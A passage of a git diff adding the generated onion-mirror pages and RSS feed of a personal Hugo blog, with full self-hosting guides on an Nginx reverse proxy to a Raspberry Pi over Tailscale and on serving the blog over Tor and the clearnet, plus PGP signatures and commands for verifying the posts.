    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/vpn.md.asc
    +gpg --verify vpn.md.asc vpn.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/bypass/page/1/index.html b/public-onion/tags/bypass/page/1/index.html new file mode 100644 index 0000000..4b55e55 --- /dev/null +++ b/public-onion/tags/bypass/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/bypass/ + + + + + + diff --git a/public-onion/tags/cloudflare/index.html b/public-onion/tags/cloudflare/index.html new file mode 100644 index 0000000..311fa75 --- /dev/null +++ b/public-onion/tags/cloudflare/index.html @@ -0,0 +1,407 @@ + + + + + + + +Cloudflare | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin +

    +
    +
    +

    I didn’t “move Nextcloud to the cloud”. +I moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄 +This post documents the setup I ended up with: +A public VPS (host: funbox) running Nginx + Let’s Encrypt A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …) A private backhaul using Tailscale (the 100.x.y.z network) A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values) A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin +(in addition to Jellyfin’s own login) I’m writing this as a “future me” note and a “copy-paste friendly” guide. +...

    +
    +
    February 2, 2026 · 6 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod +

    +
    +
    +

    TL;DR — The site is built once (Hugo project), published twice: +Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301. Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror. 1) Tor hidden service (onion) basics I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301. +Install & configure Tor (Debian/Ubuntu): +sudo apt update && sudo apt install -y tor sudoedit /etc/tor/torrc Add: +...

    +
    +
    September 19, 2025 · 6 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Stealth Trojan VPN Behind Cloudflare Guide +

    +
    +
    +

    Introduction So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there? +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare. +This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me). +We’ll anonymise domains and secrets, so substitute with your own: +...

    +
    +
    September 9, 2025 · 4 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/cloudflare/index.xml b/public-onion/tags/cloudflare/index.xml new file mode 100644 index 0000000..53d9035 --- /dev/null +++ b/public-onion/tags/cloudflare/index.xml @@ -0,0 +1,777 @@ + + + + Cloudflare on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/cloudflare/ + Recent content in Cloudflare on AlipourIm journeys + Hugo -- 0.146.0 + en + Mon, 02 Feb 2026 00:00:00 +0000 + + + Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/pi_service_touchup/ + Mon, 02 Feb 2026 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/pi_service_touchup/ + Cloudflare DNS + Nginx on a VPS + Tailscale to the Pi. Small, boring, and reliable. + +

    I didn’t “move Nextcloud to the cloud”.
    +I moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄

    +

    This post documents the setup I ended up with:

    +
      +
    • A public VPS (host: funbox) running Nginx + Let’s Encrypt
    • +
    • A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …)
    • +
    • A private backhaul using Tailscale (the 100.x.y.z network)
    • +
    • A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values)
    • +
    • A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin
      +(in addition to Jellyfin’s own login)
    • +
    +

    I’m writing this as a “future me” note and a “copy-paste friendly” guide.

    +
    +

    0) Topology

    +

    The request path looks like:

    +
    Browser
    +  ↓ HTTPS (public)
    +Cloudflare DNS (optional proxy on/off)
    +  ↓
    +VPS (funbox) — Nginx reverse proxy + Let's Encrypt
    +  ↓ HTTP over Tailscale (private 100.x network)
    +Raspberry Pi (iot-hub) — Docker: Nextcloud / Jellyfin / …
    +

    Why I like it:

    +
      +
    • The Pi can sit behind home router / CGNAT and still be reachable.
    • +
    • TLS, redirects, headers, auth, rate limits… all centralized on the VPS.
    • +
    • Internal IPs can change without breaking public URLs.
    • +
    +
    +

    1) What’s running on the Pi?

    +

    On iot-hub the “interesting” containers are:

    +
      +
    • nextcloud (Apache variant)
    • +
    • nextcloud-db (Postgres)
    • +
    • nextcloud-redis
    • +
    • jellyfin
    • +
    +

    Example docker ps style output (yours may vary):

    +
    nextcloud         nextcloud:apache     0.0.0.0:8080->80/tcp
    +jellyfin          jellyfin/jellyfin    0.0.0.0:8096->8096/tcp
    +

    So on the Pi, the services listen on:

    +
      +
    • http://<pi>:8080 for Nextcloud
    • +
    • http://<pi>:8096 for Jellyfin
    • +
    +

    But in my setup, the VPS does not reach those via LAN — it reaches them via Tailscale IPs.

    +
    +

    2) Tailscale: the private wire between VPS and Pi

    +

    Tailscale assigns each node an address like 100.xx.yy.zz.

    +

    In my config, Nginx on funbox points to the Pi via Tailscale:

    +
      +
    • Nextcloud upstream: http://100.104.127.96:8080
    • +
    • Jellyfin upstream: http://100.104.127.96:8096
    • +
    +

    (Use the Tailscale IP of your Pi.)

    +

    Quick sanity checks from the VPS:

    +
    # from funbox, make sure you can reach the Pi service:
    +curl -I http://100.104.127.96:8080
    +curl -I http://100.104.127.96:8096
    +

    If those don’t work: fix Tailscale connectivity first (ACLs, firewall, node online).

    +
    +

    3) Nginx on the VPS: reverse proxy blocks

    +

    3.1 Nextcloud vhost (VPS → Pi via Tailscale)

    +

    Create (or edit):

    +

    /etc/nginx/sites-available/nextcloud.alipourimjourneys.ir

    +

    and symlink into sites-enabled.

    +

    Here is a complete working example:

    +
    # Redirect HTTP → HTTPS
    +server {
    +    listen 80;
    +    listen [::]:80;
    +    server_name nextcloud.alipourimjourneys.ir;
    +
    +    return 301 https://$host$request_uri;
    +}
    +
    +server {
    +    listen 443 ssl;
    +    listen [::]:443 ssl;
    +    server_name nextcloud.alipourimjourneys.ir;
    +
    +    # Certbot-managed certs
    +    ssl_certificate     /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/privkey.pem;
    +    include             /etc/letsencrypt/options-ssl-nginx.conf;
    +    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;
    +
    +    # Big uploads (tune to taste)
    +    client_max_body_size 2G;
    +
    +    # CalDAV/CardDAV redirects
    +    location = /.well-known/carddav { return 301 https://$host/remote.php/dav/; }
    +    location = /.well-known/caldav  { return 301 https://$host/remote.php/dav/; }
    +
    +    location / {
    +        proxy_pass http://100.104.127.96:8080;
    +
    +        proxy_http_version 1.1;
    +
    +        proxy_set_header Host              $host;
    +        proxy_set_header X-Real-IP         $remote_addr;
    +        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +
    +        # Sometimes helps apps behind multiple proxies
    +        proxy_set_header X-Forwarded-Host  $host;
    +        proxy_set_header X-Forwarded-Port  $server_port;
    +
    +        # Nextcloud + WebDAV can do long requests
    +        proxy_read_timeout 3600;
    +        proxy_send_timeout 3600;
    +
    +        # Usually good for DAV/uploads
    +        proxy_buffering off;
    +        proxy_request_buffering off;
    +    }
    +}
    +

    Then test + reload:

    +
    sudo nginx -t
    +sudo systemctl reload nginx
    +

    3.2 Jellyfin vhost (with Basic Auth)

    +

    Create:

    +

    /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir

    +

    Example:

    +
    server {
    +    listen 80;
    +    listen [::]:80;
    +    server_name jellyfin.alipourimjourneys.ir;
    +    return 301 https://$host$request_uri;
    +}
    +
    +server {
    +    listen 443 ssl;
    +    listen [::]:443 ssl;
    +    server_name jellyfin.alipourimjourneys.ir;
    +
    +    ssl_certificate     /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/privkey.pem;
    +    include             /etc/letsencrypt/options-ssl-nginx.conf;
    +    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;
    +
    +    client_max_body_size 512M;
    +
    +    # ✅ Basic Auth gate (extra layer before Jellyfin)
    +    auth_basic "Jellyfin (private)";
    +    auth_basic_user_file /etc/nginx/.htpasswd-jellyfin;
    +
    +    location / {
    +        proxy_pass http://100.104.127.96:8096;
    +        proxy_http_version 1.1;
    +
    +        proxy_set_header Host              $host;
    +        proxy_set_header X-Real-IP         $remote_addr;
    +        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +
    +        # Jellyfin uses websockets
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +
    +        proxy_read_timeout 3600;
    +        proxy_send_timeout 3600;
    +
    +        proxy_buffering off;
    +    }
    +}
    +

    Enable:

    +
    sudo ln -s /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir /etc/nginx/sites-enabled/
    +sudo nginx -t
    +sudo systemctl reload nginx
    +

    +

    4) Creating the Basic Auth password file

    +

    Install tools (Debian/Ubuntu):

    +
    sudo apt-get update
    +sudo apt-get install -y apache2-utils
    +

    Create the password file:

    +
    sudo htpasswd -c /etc/nginx/.htpasswd-jellyfin yourusername
    +

    (If adding more users later, omit -c.)

    +

    Lock it down:

    +
    sudo chown root:root /etc/nginx/.htpasswd-jellyfin
    +sudo chmod 640 /etc/nginx/.htpasswd-jellyfin
    +

    Notes on clients

    +
      +
    • Most browsers + most Jellyfin apps handle HTTP Basic Auth fine.
    • +
    • Some TV apps can be quirky. If a client can’t handle it, you can: +
        +
      • remove Basic Auth, or
      • +
      • keep it only on selected paths, or
      • +
      • use Cloudflare Access in front of Jellyfin instead (more work).
      • +
      +
    • +
    +
    +

    5) Nextcloud: configure it to behave behind the reverse proxy

    +

    Nextcloud needs to know:

    +
      +
    • what hostnames are valid,
    • +
    • which proxy is trusted,
    • +
    • and what the “outside” URL scheme is.
    • +
    +

    You can do it via occ inside the container (Apache image uses www-data).

    +

    5.1 trusted_domains

    +

    Check current values:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:get trusted_domains
    +

    Add your public domain:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_domains 1 --value="nextcloud.alipourimjourneys.ir"
    +

    (Keep your internal name too if you still use it, e.g. rpi:8080.)

    +

    5.2 trusted_proxies

    +

    Because requests arrive from the VPS (over Tailscale), Nextcloud must trust that proxy IP.

    +

    Example:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_proxies 0 --value="100.99.79.75"
    +

    (Use the VPS’s Tailscale IP as seen from the Pi.)

    +

    5.3 overwritehost / overwriteprotocol / overwrite.cli.url

    +

    Tell Nextcloud “the world sees me as https://nextcloud.example”:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwritehost --value="nextcloud.alipourimjourneys.ir"
    +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwriteprotocol --value="https"
    +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwrite.cli.url --value="https://nextcloud.alipourimjourneys.ir"
    +

    5.4 forwarded_for_headers (optional, but often helpful)

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set forwarded_for_headers 0 --value="HTTP_X_FORWARDED_FOR"
    +

    Restart Nextcloud container after config:

    +
    docker restart nextcloud
    +

    +

    6) Sanity checks (curl is your friend)

    +

    From anywhere public:

    +
    curl -I http://nextcloud.alipourimjourneys.ir
    +curl -I https://nextcloud.alipourimjourneys.ir
    +curl -I https://nextcloud.alipourimjourneys.ir/.well-known/caldav
    +

    Expected “good signs”:

    +
      +
    • HTTP returns 301 to HTTPS
    • +
    • HTTPS returns 302 to /login (or 200 if already authenticated)
    • +
    • /.well-known/caldav returns 301 to /remote.php/dav/
    • +
    +

    If you see redirect loops or wrong hostnames:

    +
      +
    • revisit overwritehost, overwriteprotocol, trusted_proxies.
    • +
    +
    +

    7) “Do I really need Cloudflare Access / WARP?”

    +

    The honest answer

    +

    If your setup is:

    +
      +
    • HTTPS only
    • +
    • strong passwords + MFA in Nextcloud/Jellyfin
    • +
    • your origin isn’t directly exposed (only the VPS is public)
    • +
    • you keep things patched
    • +
    +

    …then you’re already in a reasonable place.

    +

    “Can I skip Cloudflare Access?”

    +

    Yes. In this topology, Cloudflare Access is optional. The main security boundary is:

    +
      +
    • Public: VPS + Nginx
    • +
    • Private: Pi over Tailscale
    • +
    +

    For Jellyfin, Basic Auth adds a cheap extra gate that’s “family friendly”.

    +
    +

    8) Cloudflare Access: One-time PIN not arriving + passkeys

    +

    Two common gotchas:

    +

    8.1 One-time PIN email didn’t arrive

    +

    That flow relies on email delivery. Check:

    +
      +
    • spam/junk folder
    • +
    • if your provider blocked it
    • +
    • the exact email allowlist in your policy
    • +
    +

    If it’s flaky, I’d avoid One-time PIN and use a real identity provider.

    +

    8.2 Can I use passkeys / Apple / Google?

    +

    Yes — but passkeys typically come via an identity provider (IdP) that supports WebAuthn/passkeys. +Practical approach:

    +
      +
    • pick what your family already uses (Google or Apple),
    • +
    • configure that as the login method,
    • +
    • avoid WARP enrollment unless you specifically want device-based access.
    • +
    +
    +

    9) Hardening checklist (tiny but effective)

    +

    On the VPS:

    +
      +
    • Keep Ubuntu security updates on
    • +
    • firewall: allow only what you need (22/80/443)
    • +
    • optional: fail2ban for SSH
    • +
    +

    On the Pi:

    +
      +
    • keep Docker images updated
    • +
    • Postgres/Redis not exposed publicly (Docker internal network)
    • +
    • backups: Nextcloud data + DB
    • +
    +
    +

    10) TL;DR

    +
      +
    • VPS Nginx terminates TLS, proxies to Pi over Tailscale
    • +
    • Nextcloud must be told about: +
        +
      • trusted_domains
      • +
      • trusted_proxies
      • +
      • overwrite values (overwritehost, overwriteprotocol, overwrite.cli.url)
      • +
      +
    • +
    • curl -I should show sane redirects + /remote.php/dav/
    • +
    • Jellyfin gets an extra gate with Nginx Basic Auth
    • +
    +

    Boring is good. Boring runs for months.

    +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuYACgkQtYgoUOBM
    +jSomZA/+LsB+V0BnPki5qaDc+tRu6EXM5kPuH7G8x5ar4opsKgbfsRKEwT6/Q0Er
    +vfg48uYNp4fBnoyfJrgURx+OwS7EVJRCmXaRsdilEEGHF7cT3qHhlczYaC+58lGs
    ++qXaHjYE8x0byAZ8iHNxNUhIyILVrcsdua3JZ3D3J/8r93dfVgrWg41Nrtj4tPUE
    +QQMW/KxTe/TOED4iivXxFlDCiT13KmgB/B9HeunGPqu8lPMTORf4ePoPzeYEeuuZ
    +iVH+ssNZ9XB00Z4a/c3I0d2ALLYoA/dXmrJkl0qCCpCy+7/id2yz3eXYWn2xKMvp
    +SAMTYaFAV6Fd7xdmxGYEeoCSDu8P57P7QfdPVEU1oUTANO21tEh1vGnjxcFdJUBx
    +kOvBdjQf4wDqUuNv7NKA+OHOzhJ3Wf3VLb/ZNq6Y2okEibsCygm3XDn0008WeKPv
    +ncB0gceY6nFYzbyhuUIhPtQJJWDNi5KG/KMEvYcebEwDzn7TErg/v3Bp8ZCdWRx/
    +Gs8K9nADnHhAjWgwTq3D+2qRWcF0tlLSTmKg+95yaYi0XWWMFGTgCv2odPsgFlIS
    +3FiLJC3rV73prsk+7eZftBTYCJN0Xk92YFj4a6bTYeuLcC20VbAA98Bpi0pCyO0v
    +TJ2+amlKyT+Nq9wGrAez+dTvR0FKuEvA5OO693Aibv/iwOX6UPU=
    +=2UUg
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/pi_service_touchup.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/pi_service_touchup.md.asc
    +gpg --verify pi_service_touchup.md.asc pi_service_touchup.md
    +  
    +
    + + +]]>
    +
    + + Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/tor_clearnet_blog/ + Fri, 19 Sep 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/tor_clearnet_blog/ + How I hosted a Hugo + PaperMod site both as a Tor onion service and a normal HTTPS site behind Cloudflare, with clean configs, dual builds, and a one-command deploy. + +

    TL;DR — The site is built once (Hugo project), published twice:

    +
      +
    • Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301.
    • +
    • Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror.
    • +
    +
    +

    1) Tor hidden service (onion) basics

    +

    I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301.

    +

    Install & configure Tor (Debian/Ubuntu):

    +
    sudo apt update && sudo apt install -y tor
    +sudoedit /etc/tor/torrc
    +

    Add:

    +
    HiddenServiceDir /var/lib/tor/hidden_site/
    +HiddenServicePort 80 127.0.0.1:3301
    +

    Make sure the directory is owned by Tor’s user and private:

    +
    sudo mkdir -p /var/lib/tor/hidden_site
    +sudo chown -R debian-tor:debian-tor /var/lib/tor/hidden_site
    +sudo chmod 700 /var/lib/tor/hidden_site
    +

    Important: use the right systemd unit:

    +
    # validate as the Tor user
    +sudo -u debian-tor tor -f /etc/tor/torrc --verify-config
    +
    +# (re)start the real service
    +sudo systemctl enable --now tor@default
    +sudo systemctl restart tor@default
    +

    Get the onion address:

    +
    sudo cat /var/lib/tor/hidden_site/hostname
    +

    Quick check (do remote DNS via SOCKS):

    +
    curl -I --socks5-hostname 127.0.0.1:9050 "http://$(sudo cat /var/lib/tor/hidden_site/hostname)"
    +

    +

    2) Nginx for the onion (localhost-only)

    +

    I keep the onion site strictly on localhost: no HTTPS, no redirects, no HSTS. Tor already provides e2e encryption and authenticity.

    +

    /etc/nginx/sites-available/onion-blog:

    +
    server {
    +    listen 127.0.0.1:3301 default_server;
    +    server_name <your-56-char>.onion 127.0.0.1 localhost;
    +
    +    # keep onion simple; no HSTS/redirects here
    +    add_header Referrer-Policy no-referrer always;
    +    add_header X-Content-Type-Options nosniff always;
    +    add_header X-Frame-Options SAMEORIGIN always;
    +    # (optional) strict CSP so nothing leaks to clearnet
    +    # add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self'" always;
    +
    +    root /srv/hugo/mysite/public-onion;
    +    index index.html;
    +
    +    location / { try_files $uri $uri/ /index.html; }
    +    location ~* \.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
    +        access_log off;
    +        add_header Cache-Control "public, max-age=31536000, immutable";
    +        try_files $uri =404;
    +    }
    +}
    +

    Enable/reload:

    +
    sudo ln -sf /etc/nginx/sites-available/onion-blog /etc/nginx/sites-enabled/onion-blog
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    Gotcha I hit: I had two server blocks on 127.0.0.1:3301, which caused 404s via onion. Make sure only the intended vhost listens there (or mark it default_server). Also, if you ever use a regex in server_name, the syntax is server_name ~* \.onion$ (note the space after ~*).

    +
    +

    3) Hugo + PaperMod setup (and version bumps)

    +

    PaperMod now requires Hugo Extended ≥ 0.146.0. I installed the extended binary from the official tarball to avoid Snap’s sandbox limitations (Snap can’t read /srv paths by default).

    +
    # install Hugo extended (example)
    +VER=0.146.0
    +cd /tmp
    +wget https://github.com/gohugoio/hugo/releases/download/v${VER}/hugo_extended_${VER}_Linux-amd64.tar.gz
    +tar -xzf hugo_extended_${VER}_Linux-amd64.tar.gz
    +sudo mv hugo /usr/local/bin/hugo
    +hugo version  # should say "extended" and >= 0.146.0
    +

    Create the site and theme:

    +
    sudo mkdir -p /srv/hugo && sudo chown -R "$USER":"$USER" /srv/hugo
    +cd /srv/hugo
    +hugo new site mysite
    +cd mysite
    +git init
    +git submodule add https://github.com/adityatelange/hugo-PaperMod themes/PaperMod
    +

    Config updates: in newer Hugo, paginate is deprecated → use:

    +
    # config/_default/hugo.toml
    +title = "My Blog"
    +theme = "PaperMod"
    +enableRobotsTXT = true
    +
    +[pagination]
    +  pagerSize = 10
    +
    +[params]
    +  defaultTheme = "auto"
    +  showReadingTime = true
    +  showPostNavLinks = true
    +  showBreadCrumbs = true
    +  showCodeCopyButtons = true
    +

    I added per-environment overrides so I can build two outputs with different baseURLs:

    +
    # config/clearnet/hugo.toml
    +baseURL = "https://blog.alipourimjourneys.ir/"
    +
    +# config/onion/hugo.toml
    +baseURL = "http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/"
    +

    +

    4) Dual builds (clearnet + onion) and one-command deploy

    +

    I publish the same content twice—once for each base URL and docroot:

    +
    cd /srv/hugo/mysite
    +# clearnet build (served over HTTPS)
    +hugo --minify --environment clearnet -d public-clearnet
    +# onion build (served via Tor)
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +

    Helper script I use:

    +
    sudo tee /usr/local/bin/build-both >/dev/null <<'EOF'
    +#!/usr/bin/env bash
    +set -euo pipefail
    +cd /srv/hugo/mysite
    +hugo --minify --environment clearnet -d public-clearnet
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +echo "Deployed both at $(date)"
    +EOF
    +sudo chmod +x /usr/local/bin/build-both
    +

    While editing, I sometimes auto-rebuild on file save:

    +
    sudo apt install -y entr
    +cd /srv/hugo/mysite
    +find content layouts assets static config -type f | entr -r build-both
    +

    +

    5) Clearnet behind Cloudflare + Let’s Encrypt (manual DNS-01)

    +

    Cloudflare is set to Full (strict). I issued a public cert for blog.alipourimjourneys.ir using manual DNS-01 (no API token):

    +
    sudo snap install --classic certbot
    +sudo certbot certonly --manual --preferred-challenges dns   -d blog.alipourimjourneys.ir   --agree-tos -m you@example.com --no-eff-email
    +

    Certbot tells you to add a TXT record _acme-challenge.blog.alipourimjourneys.ir. Add it in Cloudflare DNS, verify with dig, then continue. Cert ends up at:

    +
    /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem
    +/etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem
    +

    Clearnet Nginx vhosts:

    +
    # HTTP → HTTPS redirect (optional; CF usually talks HTTPS to origin anyway)
    +server {
    +  listen 80; listen [::]:80;
    +  server_name blog.alipourimjourneys.ir;
    +  return 301 https://blog.alipourimjourneys.ir$request_uri;
    +}
    +
    +# HTTPS origin (behind Cloudflare)
    +server {
    +  listen 443 ssl http2; listen [::]:443 ssl http2;
    +  server_name blog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem;
    +
    +  # HSTS on clearnet only
    +  add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    +
    +  # Help Tor Browser discover the onion mirror (safe on clearnet)
    +  add_header Onion-Location "http://<your-56-char>.onion$request_uri" always;
    +
    +  root /srv/hugo/mysite/public-clearnet;
    +  index index.html;
    +
    +  location / { try_files $uri $uri/ /index.html; }
    +}
    +
    +

    Note: don’t add HSTS or HTTPS redirects to the onion vhost. Keep onion pure HTTP on localhost.

    +
    +

    6) Troubleshooting I ran into (and fixes)

    +
      +
    • Tor unit confusion: tor.service is a tiny master; the real daemon is tor@default. Use that unit and verify config as debian-tor.
    • +
    • Permissions: HiddenServiceDir must be owned by debian-tor and mode 700.
    • +
    • Mapping mismatch: If HiddenServicePort 80 127.0.0.1:3301 is set, visit http://<onion>/ (no :3301). If you set HiddenServicePort 3301 127.0.0.1:3301, you must use http://<onion>:3301/.
    • +
    • Curl & .onion: modern curl refuses .onion unless you use remote DNS via SOCKS: +
      curl -I --socks5-hostname 127.0.0.1:9050 "http://<onion>/"
      +
    • +
    • Two Nginx vhosts on the same port: I had a duplicate server on 127.0.0.1:3301 pointing somewhere else, which caused onion 404s. Keep only one (or mark one default_server).
    • +
    • Regex in server_name: if you use it, write server_name ~* \.onion$ (space after ~*). I fixed an invalid variable name error caused by a missing space.
    • +
    • PaperMod with old Hugo: upgraded to extended ≥ 0.146.0. Also updated paginate[pagination].pagerSize.
    • +
    • Snap confinement: Snap’s hugo couldn’t read /srv (.../void: permission denied). Switched to the tarball build in /usr/local/bin.
    • +
    +
    +

    7) “Not secure” in Tor Browser?

    +

    That message can appear because onion uses HTTP. It’s OK: Tor provides e2e encryption + onion auth. If you enable HTTPS-Only Mode, add an exception for the site. Also ensure the onion build doesn’t reference clearnet resources (scan the built HTML for http(s):// links that aren’t your onion).

    +
    +

    8) Day-to-day workflow

    +
      +
    • Create content: +
      hugo new posts/my-first-post.md  # then set draft: false
      +
    • +
    • Publish both: +
      build-both
      +
    • +
    • (Optional) Auto on save: +
      find content layouts assets static config -type f | entr -r build-both
      +
    • +
    • (Optional) Git push-to-deploy with a bare repo + post-receive hook that runs build-both.
    • +
    +
    +

    Final notes

    +
      +
    • Clearnet gets HTTPS + HSTS and an Onion-Location header.
    • +
    • Onion gets no HSTS/redirects, and all assets are self-hosted to avoid mixed content.
    • +
    • Serving both worlds from one Hugo repo is easy: two builds, two vhosts, one workflow.
    • +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
    +jSr80hAAqr/XVnG0YNXXgG5FmVK/xBo5VVdYxba+znAc1rCWJuzwHe2Ih0aYsq7d
    +DMWRkpE9YTfQl/kSYpzlk96KCKv+6lHQXqcPyq+nQTDl/D7iCaOhb8Dog3W/2qN4
    +6G05f47EoiOJY+G/XgUHKqK75QhJrGUtom71t30alciaEGW2SauewBVTGmD+x4y4
    +UN8LABLuB/ZE8sInjoTRr28LWVj6XeHMueY9/tpS9Fm3yw3nHnE4Fv77FtTHQiMo
    +FwGfnomCwVwd5GpaP7LQdtP/a+x4s/bya2keFLW89xgwXolWB6U3y5BLFeVHptQm
    +slRx0+P27gH+CRtoXKI4kHThbmkmjM9ohJc7kxrkkbzB3ujkrxjC+rZnHXPCdbsZ
    +TTiwtJ/jLLbX+NfycW9qR6gVxloO35QA90AY7050tOgAsyH+YUn+Rtj2KVj91E0o
    +VzljG7RAly7yTe+yxzC6OO+iCJvLS6OpLEN5oIG9CmRm5cw/qB2rl8g/Qsru0t7/
    +OrTnJ8fJqq+XRhBet/eR4zogcSEo7fTMp0pDdapMYkO3Xe5VPQ/3Gu7xr8utoXXZ
    +N6VbRTRfq2Vnp+A9NshVsaKqXXaXsAL8GivMk37/bqteZ2BWedvzk1PpGf3f9HS8
    +700JFbZi9uEECoxtnv0uK67i8lkax/gsiTiGdjmx5mzfXfUQXVM=
    +=QlNw
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/tor_clearnet_blog.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/tor_clearnet_blog.md.asc
    +gpg --verify tor_clearnet_blog.md.asc tor_clearnet_blog.md
    +  
    +
    + + +]]>
    +
